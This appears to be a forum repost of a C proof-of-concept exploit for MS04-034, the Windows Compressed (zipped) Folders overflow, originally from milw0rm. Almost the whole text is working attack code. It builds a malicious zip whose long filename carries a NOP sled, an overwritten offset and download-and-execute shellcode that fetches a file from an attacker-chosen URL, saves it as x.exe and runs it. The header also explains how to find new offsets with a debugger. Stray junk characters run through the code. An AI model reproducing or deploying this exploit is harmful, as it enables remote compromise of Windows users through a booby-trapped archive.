(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * 9 N3 b9 W4 W/ u* Tested under Windows XP SP0 Spanish/English 4 X G7 l% t6 |4 l* * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html ! Q7 Y1 {( `9 r0 r! \% Z* Exploit Date: 21/10/2004 * , B2 `( e' U0 F! B8 R4 U* Tarako - Haxorcitos.com 2004 * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION 5 K+ B$ [3 n; U/ q9 k& v; q* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * * Greetings t #haxorcitos, #dsr and #localhost @efnet * * * How to get new offsets: * 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it ' @; c/ `4 c$ K" y0 N* 3) search in the explorer.exe memory the shellcode and get the addresses * */ % z/ `0 F4 W% i, g( `+ P. \3 k #include <stdio.h> #include <windows.h> & {% i" G+ u' m2 F8 ]1 X; j3 B Z#pragma pack(1) #define DATOS "Tarako-Haxorcitos.com" ' v2 \2 E; R1 }7 k) ? ! D3 i, T# E; \, ]typedef struct { + m9 F# U; U0 v; j4 g- d5 pDWORD Signature; // PK.. 4 bytes (0x04034B50) WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; , P t9 X* U( e- m6 [WORD ModFileTime; WORD ModFileDate; 1 a; T6 k: ~* S% h$ ?: s0 e% o5 ?DWORD Crc32; , O! x7 Q' a4 @; ?5 I, S2 x. P% p7 IDWORD CompressedSize; - b( n2 A7 D0 F5 S) j3 P UDWORD UncompressedSize; WORD FilenameLength; 9 d+ O4 E2 X. G: F" xWORD ExtraFieldLength; // filename (variable size) , ?4 x& _* u- z$ v// extra field (variable size) }TOPHEADER; ' x( l% a: B1 A3 [ ! z$ s; t: s: Q# Q* J9 w' Q( Z 4 E9 g! R) ?1 |/ d/ otypedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) % F4 A% p' y7 w; T0 A* GWORD MadeVersion; WORD VersionNeeded; & \! E. | h3 Q8 VWORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; - Q3 p4 S: l/ Y7 ~' A l5 q( zWORD ModFileTime; - _+ Q. A0 Z7 sWORD ModFileDate; DWORD Crc32; 8 o- C! M$ G' {9 c5 qDWORD CompressedSize; DWORD UncompressedSize; . v( P% w* e1 B6 Z- ~" o6 mWORD FilenameLength; WORD ExtraFieldLength; ! Q# _6 K' r# u4 [7 W/ \2 T6 T$ NWORD FileCommentLength; 4 P$ d2 r' ]5 lWORD DiskNumberStart; WORD InternalFileAttributes; DWORD ExternalFileAttributes; . H" v( m# j4 e& j* j6 XDWORD RelativeOffsetOfLocalHeader; // filename (variable size) // extra field (variable size) // file comment (variable size) ( S, m( l4 m' Y- M9 D3 a}MIDDLEHEADER; typedef struct { 4 Y* N6 k4 Z; A! RDWORD Signature; // PK.. 4 bytes (0x06054B50) WORD NumOfThisDisk; ; b6 ] ?; b# \5 b3 m& P; sWORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; % b) j: I$ r9 c4 u/ \; q" s# s2 s @WORD TotalNumEntriesCentralDir; : ^& Q3 \2 {, c$ r. K6 F% x4 ~DWORD SizeCentralDirectory; 8 M5 J9 B9 W( l3 l8 lDWORD OffsetCentraDirRespectStartDiskNum; 1 o: p' ^) h+ _3 G* W6 ]# pWORD ZipCommentLength; $ A9 l* A! x. p; n: y1 ?7 v// zipfile comment (variable size) / u+ A+ b& o" r- w V; g; l; Y Z}BOTTOMHEADER; % x+ Q9 ]8 w; Q' N( x. B/* - r5 ~* D0 `- `6 Q* download shellcode - RaiSe - raise@netsearch-ezine.com */ * z9 }5 ]' U* d& F* i: jchar shellcode1[] = / S: K# O% s$ D* f4 m6 O7 y( m"\xEB\x5D\x5F\x8B\xF7\x80\x3F" "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" : X+ @' O) \: W% I! z7 @" E"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" ' J, U0 a% \- Q9 F"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" "\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" 0 Y, v7 a* e; R5 `"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" "\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" # {( @" `5 Z! x8 W8 |+ A"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" ! i4 h0 i1 F+ ~$ _& C2 q( r"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" $ ^* g$ p8 n2 k; q H3 N- g"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" 3 L. j+ t( P/ R+ I& W"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" 6 @ ]+ Z# x- m* D1 G"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" "\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" ( Y0 A; F3 c! n2 z, \) w5 ~) i"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" ( {6 W0 l {' P+ G! c+ X" R"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; & }0 z3 E) Y, J; N, j3 u schar shellcode2[] ="\x08\x01"; : f4 h2 r: D5 j9 m, G1 W" uchar offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; int main(int argc,char *argv[]) { 7 I* C! \3 z, G0 I' _' i FILE *ZipFile; TOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; 6 A/ N* C. U# r2 M$ ]) i7 T1 J* |4 QBOTTOMHEADER *Cabecera3; DWORD c; 9 Z6 I$ u# m( n6 V# NUINT i; ( I! y$ W: `0 s. o. zchar *filename; 7 p# o0 _% ]$ Ochar *url; 3 i! M( d2 q0 S! c6 S c" w! I* X printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); if (argc!=2) { 8 m D6 [2 J. x D4 _' _' O7 _printf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); 9 B, p" A: A* J& q: \ i} url=argv[1]; printf("\n * URL: %s",url); % Y; K1 n! t+ Q ; H/ P: M8 v' x i- ~if (!(ZipFile=fopen("prueba.zip","w+b"))) { 8 a7 |; @8 }7 p3 C$ o" uprintf("\n [E] fopen()"); exit(1); } $ c5 P' f. y7 nc=0x8000; // filename length / i4 p- `8 Y% yfilename=(char*)malloc(sizeof(char)*c); 2 o6 E/ m: n. C$ r4 F; Lmemset(filename,0,sizeof(filename)); . r7 B7 g1 {9 q: q7 m X for( i=0x0;i<c;i++) filename=(BYTE)0x90; 5 M: z- t( E& G3 ?& w9 { memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); 5 _' ^. c0 W4 A/ r* \memcpy(filename+0x1818,offset,strlen(offset)); memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); % x+ m& {- k0 y% ~# dmemcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); + {. q3 V/ Z' ~8 n: O0 Ymemcpy(filename+(c-4),".txt",4); 0 l6 u3 M. @; r) H Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); ( v. ^0 A; w0 P: g- Y3 f9 @ rCabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); memset(Cabecera1,0,sizeof(TOPHEADER)); memset(Cabecera2,0,sizeof(MIDDLEHEADER)); memset(Cabecera3,0,sizeof(BOTTOMHEADER)); x7 d: f, p O7 T' A$ q# _6 o 9 }$ O( w/ z! l; t5 J/////////////////////////////////////////////////////////////////// & _$ N A4 o( P1 b4 O// TOPHEADER * i/ h% ]3 \: k, m3 \/////////////////////////////////////////////////////////////////// * s8 [' N2 }) t1 B. b3 U9 t/ `/ eCabecera1->Signature=0x04034B50; // DWORD Cabecera1->VersionNeeded=0x000A; // WORD Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas ( e+ ]. \% { z7 `& c) dCabecera1->CompressionMethod=0x0000; // WORD Cabecera1->ModFileTime=0x1362; // WORD . I4 Y' y/ v [: Y- @+ J1 z0 _Cabecera1->ModFileDate=0x3154; // WORD * i* P9 F% E- g0 y" `# R* JCabecera1->Crc32=0x85B36639; // DWORD Cabecera1->CompressedSize=0x00000015; // DWORD Cabecera1->UncompressedSize=0x00000015; // DWORD 3 b' P, f1 Q( [0 H* s* B6 `& mCabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); ! d5 o7 C8 }& K1 uCabecera1->ExtraFieldLength=0x0000; // WORD " s7 t% K* l3 X& G" C/////////////////////////////////////////////////////////////////// , E! T; j% a4 Y6 F3 a/ ] L , t* \) f& b6 S/ U$ R+ v& N! |8 P/////////////////////////////////////////////////////////////////// // MIDDLEHEADER ! Z! E8 D4 Z, Q0 @' f, g4 {# q/////////////////////////////////////////////////////////////////// Cabecera2->Signature=0x02014B50; // DWORD & n; K3 m& _' L3 s. w2 vCabecera2->MadeVersion=0x0014; // WORD Cabecera2->VersionNeeded=0x000A; // WORD 2 e- G( V$ C" ~" X1 B4 @ rCabecera2->GeneralPurposeFlag=0x0002; // WORD ; |& e: I- [5 eCabecera2->CompressionMethod=0x0000; // WORD , A4 u4 R2 s/ F4 b4 }7 gCabecera2->ModFileTime=0x1362; // WORD Cabecera2->ModFileDate=0x3154; // WORD Cabecera2->Crc32=0x85B36639; // DWORD % }1 R! u+ N! b1 y5 S% qCabecera2->CompressedSize=0x00000015; // DWORD 8 h& v2 d; Z/ U" J$ l% J" y; mCabecera2->UncompressedSize=0x00000015; // DWORD Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); / h1 w5 I9 e8 m4 x/ L$ VCabecera2->ExtraFieldLength=0x0000; // WORD , F* f6 V8 X6 c6 ^+ U& j3 vCabecera2->FileCommentLength=0x0000; // WORD ' b1 k! h9 k- `8 o8 y- UCabecera2->DiskNumberStart=0x0000; // WORD Cabecera2->InternalFileAttributes=0x0001; // WORD Cabecera2->ExternalFileAttributes=0x00000020; // DWORD , j" _ Q1 i b6 h' l6 {0 |6 LCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD ! f9 O6 M# d# h* X( q$ I/////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// ! ^8 j0 M! G6 t// BOTTOMHEADER /////////////////////////////////////////////////////////////////// ; I. l* o$ d2 u2 i0 kCabecera3->Signature=0x06054B50; // DWORD Cabecera3->NumOfThisDisk=0x0000; // WORD * g4 U7 C6 _8 d3 Z' iCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD 8 U# L1 [1 w( x5 T# v+ BCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD 0 T9 I' C9 ?" P2 [2 gCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD ( X: T+ |6 c) @Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD ) n3 h u% E q' d7 fCabecera3->ZipCommentLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// 1 l+ U0 R/ L2 M 1 Z& @( O2 E/ efwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); $ m5 e& T$ {* h( T fwrite(filename, c, 1,ZipFile); ; G2 W& i M! h( h2 o/ o: X4 J4 nfwrite(DATOS,strlen(DATOS),1,ZipFile); fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); fwrite(filename, c, 1,ZipFile); fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); % `/ @% h. @; p* Q( x # K" m# m4 Z/ Sfclose(ZipFile); printf("\n * prueba.zip created\n"); 0 P$ N- X- _: g& `5 t* nreturn 1; }//downloaded from milw0rm.com ) C1 R; c2 C. V9 w